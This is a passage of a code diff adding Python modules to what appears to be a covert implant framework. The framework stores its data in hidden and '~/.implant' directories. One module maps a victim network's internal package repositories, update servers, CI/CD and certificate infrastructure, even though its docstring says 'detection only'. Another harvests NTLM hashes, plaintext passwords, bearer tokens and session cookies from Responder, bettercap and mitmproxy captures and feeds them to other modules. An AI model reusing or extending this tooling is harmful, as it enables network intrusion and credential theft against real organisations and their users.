except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_risk_level(self) -> str:
|
||||
"""Return current overall risk level."""
|
||||
return self._risk_level
|
||||
|
||||
def is_active_ops_safe(self) -> bool:
|
||||
"""Return whether active operations are considered safe."""
|
||||
return self._active_ops_safe
|
||||
|
||||
def get_detected_tools(self, tool_type: str = None) -> list:
|
||||
"""Get all detected security tools."""
|
||||
with self._lock:
|
||||
if tool_type:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM security_tools
|
||||
WHERE tool_type = ?
|
||||
ORDER BY confidence DESC""",
|
||||
(tool_type,),
|
||||
).fetchall()
|
||||
else:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM security_tools
|
||||
ORDER BY confidence DESC"""
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_posture_summary(self) -> dict:
|
||||
"""Return a full security posture summary."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT tool_type, COUNT(*) as count,
|
||||
AVG(confidence) as avg_confidence,
|
||||
MAX(impacts_active_ops) as any_impacts_active
|
||||
FROM security_tools
|
||||
GROUP BY tool_type
|
||||
ORDER BY count DESC"""
|
||||
).fetchall()
|
||||
|
||||
return {
|
||||
"risk_level": self._risk_level,
|
||||
"active_ops_safe": self._active_ops_safe,
|
||||
"total_tools": sum(r[1] for r in rows),
|
||||
"by_type": {
|
||||
r[0]: {
|
||||
"count": r[1],
|
||||
"avg_confidence": round(r[2], 2),
|
||||
"impacts_active": bool(r[3]),
|
||||
}
|
||||
for r in rows
|
||||
},
|
||||
}
|
||||
@@ -0,0 +1,491 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Supply chain infrastructure detection — passively identifies internal
|
||||
package repos, update servers, config management, CI/CD, and container
|
||||
registries by analyzing DNS and HTTP traffic patterns.
|
||||
|
||||
Detection only — no exploitation or active probing.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS supply_chain (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
type TEXT NOT NULL,
|
||||
target_ip TEXT NOT NULL,
|
||||
target_hostname TEXT DEFAULT '',
|
||||
target_port INTEGER,
|
||||
evidence TEXT NOT NULL,
|
||||
confidence REAL DEFAULT 0.5,
|
||||
first_seen REAL NOT NULL,
|
||||
last_seen REAL NOT NULL,
|
||||
details TEXT DEFAULT '',
|
||||
UNIQUE(type, target_ip, target_port)
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_sc_type ON supply_chain(type);
|
||||
CREATE INDEX IF NOT EXISTS idx_sc_ip ON supply_chain(target_ip);
|
||||
"""
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# Detection signatures
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# HTTP path patterns -> (infra_type, description, confidence)
|
||||
_HTTP_PATH_PATTERNS = [
|
||||
# Package repositories
|
||||
(re.compile(r"/simple/[\w-]+/"), "pypi_mirror", "PyPI mirror (PEP 503 simple API)", 0.9),
|
||||
(re.compile(r"/pypi/[\w-]+/json"), "pypi_mirror", "PyPI mirror (JSON API)", 0.9),
|
||||
(re.compile(r"/-/npm/v1/"), "npm_registry", "npm registry (v1 API)", 0.9),
|
||||
(re.compile(r"/@[\w-]+/[\w-]+/-/"), "npm_registry", "npm scoped package download", 0.85),
|
||||
(re.compile(r"/repository/maven-"), "maven_repo", "Maven/Nexus repository", 0.85),
|
||||
(re.compile(r"/artifactory/"), "artifactory", "JFrog Artifactory", 0.9),
|
||||
(re.compile(r"/content/repositories/"), "nexus_repo", "Sonatype Nexus repository", 0.85),
|
||||
(re.compile(r"/api/v4/projects/\d+/packages/"), "gitlab_packages", "GitLab Package Registry", 0.9),
|
||||
(re.compile(r"/v2/[\w.-]+/[\w.-]+/manifests/"), "container_registry", "Docker/OCI registry (manifest pull)", 0.95),
|
||||
(re.compile(r"/v2/[\w.-]+/[\w.-]+/blobs/"), "container_registry", "Docker/OCI registry (blob pull)", 0.95),
|
||||
(re.compile(r"/v2/_catalog"), "container_registry", "Docker registry catalog", 0.95),
|
||||
|
||||
# WSUS
|
||||
(re.compile(r"/ClientWebService/"), "wsus", "WSUS client web service", 0.9),
|
||||
(re.compile(r"/SimpleAuthWebService/"), "wsus", "WSUS auth service", 0.9),
|
||||
(re.compile(r"/ApiRemoting30/"), "wsus", "WSUS API remoting", 0.9),
|
||||
(re.compile(r"/Content/[\w-]+\.cab"), "wsus", "WSUS content download", 0.8),
|
||||
|
||||
# CI/CD
|
||||
(re.compile(r"/job/[\w-]+/build"), "jenkins", "Jenkins build trigger", 0.9),
|
||||
(re.compile(r"/api/json\?tree="), "jenkins", "Jenkins API query", 0.85),
|
||||
(re.compile(r"/queue/api/json"), "jenkins", "Jenkins queue API", 0.85),
|
||||
(re.compile(r"/api/v4/runners/"), "gitlab_ci", "GitLab CI runner API", 0.9),
|
||||
(re.compile(r"/api/v3/repos/.+/actions/"), "github_actions", "GitHub Actions API", 0.85),
|
||||
(re.compile(r"/_apis/build/"), "azure_devops", "Azure DevOps build API", 0.9),
|
||||
|
||||
# Config management
|
||||
(re.compile(r"/puppet/v3/"), "puppet", "Puppet v3 API", 0.9),
|
||||
(re.compile(r"/puppet/v4/"), "puppet", "Puppet v4 API", 0.9),
|
||||
(re.compile(r"/organizations/[\w-]+/cookbooks/"), "chef", "Chef cookbook API", 0.9),
|
||||
(re.compile(r"/nodes/[\w.-]+"), "chef", "Chef node API", 0.8),
|
||||
|
||||
# Internal CA
|
||||
(re.compile(r"/certsrv/"), "internal_ca", "Microsoft AD CS certificate services", 0.9),
|
||||
(re.compile(r"/acme/directory"), "internal_ca", "ACME CA directory (internal Let's Encrypt/step-ca)", 0.8),
|
||||
(re.compile(r"/v1/pki/"), "vault_pki", "HashiCorp Vault PKI engine", 0.9),
|
||||
|
||||
# SCCM / MECM
|
||||
(re.compile(r"/SMS_MP/"), "sccm", "SCCM Management Point", 0.9),
|
||||
(re.compile(r"/CCM_Client/"), "sccm", "SCCM client endpoint", 0.9),
|
||||
(re.compile(r"/CMGateway/"), "sccm", "SCCM Cloud Management Gateway", 0.85),
|
||||
]
|
||||
|
||||
# DNS patterns -> (infra_type, description, confidence)
|
||||
_DNS_PATTERNS = [
|
||||
(re.compile(r"(pypi|pip)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"pypi_mirror", "Internal PyPI mirror hostname", 0.85),
|
||||
(re.compile(r"(npm|registry)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"npm_registry", "Internal npm registry hostname", 0.85),
|
||||
(re.compile(r"(nexus|artifactory|repo)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"artifact_repo", "Internal artifact repository", 0.8),
|
||||
(re.compile(r"(docker|registry|harbor|quay)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"container_registry", "Internal container registry", 0.85),
|
||||
(re.compile(r"(wsus|update)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"wsus", "WSUS/update server", 0.8),
|
||||
(re.compile(r"(jenkins|ci|build|drone|bamboo|teamcity|concourse)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"ci_cd", "CI/CD server", 0.8),
|
||||
(re.compile(r"(gitlab)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"gitlab", "GitLab instance", 0.9),
|
||||
(re.compile(r"(puppet|puppetdb|foreman)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"puppet", "Puppet infrastructure", 0.85),
|
||||
(re.compile(r"(chef|supermarket)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"chef", "Chef infrastructure", 0.85),
|
||||
(re.compile(r"(ansible|tower|awx)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"ansible", "Ansible Tower/AWX", 0.85),
|
||||
(re.compile(r"(sccm|mecm|configmgr)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"sccm", "SCCM/MECM infrastructure", 0.9),
|
||||
(re.compile(r"(ca|pki|cert|issuing)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"internal_ca", "Internal CA/PKI", 0.7),
|
||||
(re.compile(r"(vault)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"hashicorp_vault", "HashiCorp Vault", 0.8),
|
||||
]
|
||||
|
||||
# Port patterns -> (infra_type, description, confidence)
|
||||
_PORT_PATTERNS = {
|
||||
8140: ("puppet", "Puppet master default port", 0.7),
|
||||
8443: ("ci_cd", "Common CI/CD HTTPS port", 0.3), # low confidence — many things use 8443
|
||||
8080: ("jenkins", "Jenkins default HTTP port", 0.3),
|
||||
50000: ("jenkins", "Jenkins agent JNLP port", 0.7),
|
||||
5000: ("container_registry", "Docker registry default port", 0.5),
|
||||
443: ("generic_https", "HTTPS", 0.1), # too common for high confidence alone
|
||||
8140: ("puppet", "Puppet master", 0.7),
|
||||
4433: ("chef", "Chef Automate", 0.6),
|
||||
}
|
||||
|
||||
|
||||
class SupplyChainDetect(BaseModule):
|
||||
"""Passively detect internal supply chain infrastructure."""
|
||||
|
||||
name = "supply_chain_detect"
|
||||
module_type = "intel"
|
||||
priority = 200
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._scan_thread: Optional[threading.Thread] = None
|
||||
self._detection_count = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "supply_chain.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# Subscribe to host discovery for port-based detection
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Periodic scan of accumulated DNS and HTTP data
|
||||
self._scan_thread = threading.Thread(
|
||||
target=self._periodic_scan, daemon=True,
|
||||
name="sensor-supply-chain-scan",
|
||||
)
|
||||
self._scan_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("SupplyChainDetect started — db=%s", self._db_path)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("SupplyChainDetect stopped — %d detections", self._detection_count)
|
||||
|
||||
def status(self) -> dict:
|
||||
det_count = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM supply_chain"
|
||||
).fetchone()
|
||||
det_count = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"detections": det_count,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Detection functions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def analyze_http_request(self, target_ip: str, target_port: int,
|
||||
method: str, path: str, host_header: str = "",
|
||||
user_agent: str = "") -> Optional[dict]:
|
||||
"""Analyze an HTTP request for supply chain infrastructure indicators.
|
||||
|
||||
Called by tool_output_parser or directly by HTTP monitoring modules.
|
||||
|
||||
Returns:
|
||||
Detection dict if found, None otherwise.
|
||||
"""
|
||||
for pattern, infra_type, description, confidence in _HTTP_PATH_PATTERNS:
|
||||
if pattern.search(path):
|
||||
det = self._record_detection(
|
||||
infra_type=infra_type,
|
||||
target_ip=target_ip,
|
||||
target_hostname=host_header,
|
||||
target_port=target_port,
|
||||
evidence=f"{method} {path}",
|
||||
confidence=confidence,
|
||||
details=json.dumps({
|
||||
"method": method,
|
||||
"path": path,
|
||||
"host": host_header,
|
||||
"user_agent": user_agent,
|
||||
"description": description,
|
||||
}),
|
||||
)
|
||||
return det
|
||||
return None
|
||||
|
||||
def analyze_dns_query(self, query_name: str, resolved_ip: str = "",
|
||||
client_ip: str = "") -> Optional[dict]:
|
||||
"""Analyze a DNS query for supply chain infrastructure indicators.
|
||||
|
||||
Returns:
|
||||
Detection dict if found, None otherwise.
|
||||
"""
|
||||
for pattern, infra_type, description, confidence in _DNS_PATTERNS:
|
||||
if pattern.search(query_name):
|
||||
det = self._record_detection(
|
||||
infra_type=infra_type,
|
||||
target_ip=resolved_ip or "unresolved",
|
||||
target_hostname=query_name,
|
||||
target_port=None,
|
||||
evidence=f"DNS: {query_name}",
|
||||
confidence=confidence,
|
||||
details=json.dumps({
|
||||
"query": query_name,
|
||||
"resolved_ip": resolved_ip,
|
||||
"client_ip": client_ip,
|
||||
"description": description,
|
||||
}),
|
||||
)
|
||||
return det
|
||||
return None
|
||||
|
||||
def analyze_port(self, target_ip: str, port: int,
|
||||
hostname: str = "") -> Optional[dict]:
|
||||
"""Check if a discovered open port suggests supply chain infrastructure."""
|
||||
if port not in _PORT_PATTERNS:
|
||||
return None
|
||||
|
||||
infra_type, description, confidence = _PORT_PATTERNS[port]
|
||||
if confidence < 0.5:
|
||||
# Low-confidence port-only detections need corroboration
|
||||
# Check if we already have DNS or HTTP evidence for this IP
|
||||
existing = self._get_detections_for_ip(target_ip)
|
||||
if existing:
|
||||
# Boost confidence if corroborated
|
||||
confidence = min(confidence + 0.3, 0.95)
|
||||
else:
|
||||
return None
|
||||
|
||||
return self._record_detection(
|
||||
infra_type=infra_type,
|
||||
target_ip=target_ip,
|
||||
target_hostname=hostname,
|
||||
target_port=port,
|
||||
evidence=f"Open port {port}",
|
||||
confidence=confidence,
|
||||
details=json.dumps({"description": description, "port": port}),
|
||||
)
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Check discovered host ports for supply chain indicators."""
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
hostname = p.get("hostname", "")
|
||||
ports = p.get("open_ports", [])
|
||||
|
||||
for port in ports:
|
||||
self.analyze_port(ip, port, hostname)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_detection(self, infra_type: str, target_ip: str,
|
||||
target_hostname: str, target_port: Optional[int],
|
||||
evidence: str, confidence: float,
|
||||
details: str = "") -> dict:
|
||||
"""Record a supply chain detection, deduplicating by type+ip+port."""
|
||||
now = time.time()
|
||||
detection = {
|
||||
"type": infra_type,
|
||||
"target_ip": target_ip,
|
||||
"target_hostname": target_hostname,
|
||||
"target_port": target_port,
|
||||
"evidence": evidence,
|
||||
"confidence": confidence,
|
||||
"details": details,
|
||||
}
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO supply_chain
|
||||
(type, target_ip, target_hostname, target_port,
|
||||
evidence, confidence, first_seen, last_seen, details)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(type, target_ip, target_port) DO UPDATE SET
|
||||
last_seen = excluded.last_seen,
|
||||
confidence = MAX(supply_chain.confidence, excluded.confidence),
|
||||
evidence = supply_chain.evidence || '; ' || excluded.evidence,
|
||||
target_hostname = CASE WHEN excluded.target_hostname != ''
|
||||
THEN excluded.target_hostname
|
||||
ELSE supply_chain.target_hostname END
|
||||
""",
|
||||
(infra_type, target_ip, target_hostname, target_port,
|
||||
evidence, confidence, now, now, details),
|
||||
)
|
||||
self._conn.commit()
|
||||
self._detection_count += 1
|
||||
|
||||
logger.info(
|
||||
"Supply chain detection: %s at %s:%s (%s, confidence=%.2f)",
|
||||
infra_type, target_ip, target_port, evidence, confidence,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to record supply chain detection")
|
||||
|
||||
return detection
|
||||
|
||||
def _get_detections_for_ip(self, ip: str) -> list:
|
||||
"""Get all detections for a given IP."""
|
||||
with self._lock:
|
||||
try:
|
||||
rows = self._conn.execute(
|
||||
"SELECT * FROM supply_chain WHERE target_ip = ?", (ip,)
|
||||
).fetchall()
|
||||
return [dict(r) for r in rows]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Periodic scanning
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _periodic_scan(self) -> None:
|
||||
"""Periodically pull DNS and HTTP data from other modules' state."""
|
||||
interval = self.config.get("supply_chain_scan_interval", 180)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._scan_dns_data()
|
||||
self._scan_http_data()
|
||||
except Exception:
|
||||
logger.exception("Periodic supply chain scan failed")
|
||||
|
||||
def _scan_dns_data(self) -> None:
|
||||
"""Pull recent DNS queries from dns_logger state and analyze."""
|
||||
last_ts = self.state.get(self.name, "dns_scan_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
dns_json = self.state.get("dns_logger", "recent_queries")
|
||||
if not dns_json:
|
||||
return
|
||||
|
||||
try:
|
||||
queries = json.loads(dns_json)
|
||||
max_ts = last_ts
|
||||
for q in queries:
|
||||
ts = q.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.analyze_dns_query(
|
||||
query_name=q.get("query_name", ""),
|
||||
resolved_ip=q.get("resolved_ip", ""),
|
||||
client_ip=q.get("client_ip", ""),
|
||||
)
|
||||
max_ts = max(max_ts, ts)
|
||||
|
||||
self.state.set(self.name, "dns_scan_last_ts", str(max_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _scan_http_data(self) -> None:
|
||||
"""Pull recent HTTP log data from state and analyze."""
|
||||
last_ts = self.state.get(self.name, "http_scan_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
http_json = self.state.get("http_monitor", "recent_requests")
|
||||
if not http_json:
|
||||
return
|
||||
|
||||
try:
|
||||
requests = json.loads(http_json)
|
||||
max_ts = last_ts
|
||||
for req in requests:
|
||||
ts = req.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.analyze_http_request(
|
||||
target_ip=req.get("target_ip", ""),
|
||||
target_port=req.get("target_port", 80),
|
||||
method=req.get("method", "GET"),
|
||||
path=req.get("path", ""),
|
||||
host_header=req.get("host", ""),
|
||||
user_agent=req.get("user_agent", ""),
|
||||
)
|
||||
max_ts = max(max_ts, ts)
|
||||
|
||||
self.state.set(self.name, "http_scan_last_ts", str(max_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_detections(self, infra_type: str = None,
|
||||
min_confidence: float = 0.0) -> list:
|
||||
"""Get supply chain detections, optionally filtered."""
|
||||
with self._lock:
|
||||
if infra_type:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM supply_chain
|
||||
WHERE type = ? AND confidence >= ?
|
||||
ORDER BY confidence DESC""",
|
||||
(infra_type, min_confidence),
|
||||
).fetchall()
|
||||
else:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM supply_chain
|
||||
WHERE confidence >= ?
|
||||
ORDER BY confidence DESC""",
|
||||
(min_confidence,),
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_summary(self) -> dict:
|
||||
"""Return a summary of detected supply chain infrastructure."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT type, COUNT(*) as count,
|
||||
AVG(confidence) as avg_confidence
|
||||
FROM supply_chain
|
||||
GROUP BY type
|
||||
ORDER BY count DESC"""
|
||||
).fetchall()
|
||||
|
||||
return {
|
||||
"total_detections": sum(r[1] for r in rows),
|
||||
"by_type": {r[0]: {"count": r[1], "avg_confidence": round(r[2], 2)}
|
||||
for r in rows},
|
||||
}
|
||||
@@ -0,0 +1,801 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Unified tool output parser — ingests output from bettercap, Responder,
|
||||
and mitmproxy, extracting credentials and host data into the event bus.
|
||||
|
||||
Periodically scans tool log directories for new data and publishes
|
||||
CREDENTIAL_FOUND and HOST_DISCOVERED events for other intel modules
|
||||
to consume.
|
||||
"""
|
||||
|
||||
import glob
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# Responder log patterns
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# NTLMv2 hash format: user::domain:challenge:response:blob
|
||||
_NTLMV2_RE = re.compile(
|
||||
r"^(?P<username>[^:]+?)::(?P<domain>[^:]*?):(?P<challenge>[0-9a-fA-F]+):"
|
||||
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)\s*$",
|
||||
re.MULTILINE,
|
||||
)
|
||||
|
||||
# NTLMv1 hash format: user::domain:lm_response:nt_response:challenge
|
||||
_NTLMV1_RE = re.compile(
|
||||
r"^(?P<username>[^:]+?)::(?P<domain>[^:]*?):(?P<lm>[0-9a-fA-F]+):"
|
||||
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)\s*$",
|
||||
re.MULTILINE,
|
||||
)
|
||||
|
||||
# Responder session log: credential captures with timestamps
|
||||
# Format: [*] [TIMESTAMP] PROTOCOL - user:password from source_ip
|
||||
_RESPONDER_SESSION_RE = re.compile(
|
||||
r"^\[\*\]\s+\[(?P<timestamp>[^\]]+)\]\s+(?P<protocol>\w+)\s*[-:]\s*"
|
||||
r"(?P<username>[^:]+):(?P<password>[^\s]+)\s+from\s+(?P<source_ip>[\d.]+)",
|
||||
re.MULTILINE,
|
||||
)
|
||||
|
||||
# HTTP Basic Auth captured by Responder
|
||||
_RESPONDER_HTTP_RE = re.compile(
|
||||
r"^\[\+\].*HTTP.*Username\s*:\s*(?P<username>\S+).*Password\s*:\s*(?P<password>\S+)",
|
||||
re.MULTILINE | re.IGNORECASE,
|
||||
)
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# bettercap event patterns
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# bettercap credential event types
|
||||
_BETTERCAP_CRED_EVENTS = {
|
||||
"net.sniff.credentials",
|
||||
"http.proxy.credentials",
|
||||
"https.proxy.credentials",
|
||||
}
|
||||
|
||||
_BETTERCAP_HOST_EVENTS = {
|
||||
"endpoint.new",
|
||||
"endpoint.lost",
|
||||
}
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# mitmproxy flow patterns
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# Authorization header patterns
|
||||
_AUTH_BASIC_RE = re.compile(r"Basic\s+([A-Za-z0-9+/=]+)", re.I)
|
||||
_AUTH_BEARER_RE = re.compile(r"Bearer\s+(\S+)", re.I)
|
||||
|
||||
# Cookie patterns with session identifiers
|
||||
_SESSION_COOKIE_NAMES = {
|
||||
"sessionid", "session_id", "phpsessid", "jsessionid",
|
||||
"asp.net_sessionid", "connect.sid", "laravel_session",
|
||||
"csrf_token", "_csrf", "xsrf-token",
|
||||
}
|
||||
|
||||
# Interesting HTTP headers
|
||||
_INTERESTING_HEADERS = {
|
||||
"authorization", "x-api-key", "x-auth-token", "x-csrf-token",
|
||||
"cookie", "set-cookie", "www-authenticate",
|
||||
}
|
||||
|
||||
|
||||
class ToolOutputParser(BaseModule):
|
||||
"""Parse output from bettercap, Responder, and mitmproxy into structured events."""
|
||||
|
||||
name = "tool_output_parser"
|
||||
module_type = "intel"
|
||||
priority = 80
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._lock = threading.Lock()
|
||||
self._scan_thread: Optional[threading.Thread] = None
|
||||
self._bettercap_thread: Optional[threading.Thread] = None
|
||||
|
||||
# Track file positions to avoid re-reading
|
||||
self._file_positions: dict[str, int] = {}
|
||||
|
||||
# Dedup: track recently emitted credential hashes
|
||||
self._emitted_hashes: set = set()
|
||||
|
||||
# Counters
|
||||
self._creds_parsed = 0
|
||||
self._hosts_parsed = 0
|
||||
self._files_scanned = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Load saved file positions
|
||||
positions_json = self.state.get(self.name, "file_positions")
|
||||
if positions_json:
|
||||
try:
|
||||
self._file_positions = json.loads(positions_json)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# Periodic log directory scanner
|
||||
self._scan_thread = threading.Thread(
|
||||
target=self._scan_loop, daemon=True,
|
||||
name="sensor-tool-parser-scan",
|
||||
)
|
||||
self._scan_thread.start()
|
||||
|
||||
# bettercap event stream reader (if bettercap API available)
|
||||
bettercap_cfg = self.config.get("bettercap", {})
|
||||
if bettercap_cfg.get("enabled", True):
|
||||
self._bettercap_thread = threading.Thread(
|
||||
target=self._bettercap_event_loop, daemon=True,
|
||||
name="sensor-tool-parser-bettercap",
|
||||
)
|
||||
self._bettercap_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("ToolOutputParser started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
# Save file positions for resume
|
||||
self.state.set(self.name, "file_positions",
|
||||
json.dumps(self._file_positions))
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"ToolOutputParser stopped — creds=%d, hosts=%d, files=%d",
|
||||
self._creds_parsed, self._hosts_parsed, self._files_scanned,
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"credentials_parsed": self._creds_parsed,
|
||||
"hosts_parsed": self._hosts_parsed,
|
||||
"files_scanned": self._files_scanned,
|
||||
"tracked_files": len(self._file_positions),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Log directory scanner
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _scan_loop(self) -> None:
|
||||
"""Periodically scan tool output directories for new data."""
|
||||
interval = self.config.get("scan_interval", 30)
|
||||
while self._running:
|
||||
try:
|
||||
self._scan_responder_logs()
|
||||
self._scan_mitmproxy_flows()
|
||||
self._scan_bettercap_logs()
|
||||
|
||||
# Persist positions periodically
|
||||
self.state.set(self.name, "file_positions",
|
||||
json.dumps(self._file_positions))
|
||||
except Exception:
|
||||
logger.exception("Tool output scan cycle failed")
|
||||
|
||||
time.sleep(interval)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Responder parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _scan_responder_logs(self) -> None:
|
||||
"""Parse Responder log files for captured credentials."""
|
||||
log_dirs = self.config.get("responder_log_dirs", [
|
||||
"/opt/.cache/bb/responder/logs",
|
||||
"/tmp/responder/logs",
|
||||
os.path.expanduser("~/.implant/responder"),
|
||||
])
|
||||
|
||||
for log_dir in log_dirs:
|
||||
if not os.path.isdir(log_dir):
|
||||
continue
|
||||
|
||||
# Parse NTLMv2 hash files
|
||||
for path in glob.glob(os.path.join(log_dir, "*-NTLMv2-*.txt")):
|
||||
self._parse_responder_hash_file(path, "ntlmv2", 5600)
|
||||
|
||||
# Parse NTLMv1 hash files
|
||||
for path in glob.glob(os.path.join(log_dir, "*-NTLMv1-*.txt")):
|
||||
self._parse_responder_hash_file(path, "ntlmv1", 5500)
|
||||
|
||||
# Parse session log
|
||||
session_log = os.path.join(log_dir, "Responder-Session.log")
|
||||
if os.path.isfile(session_log):
|
||||
self._parse_responder_session(session_log)
|
||||
|
||||
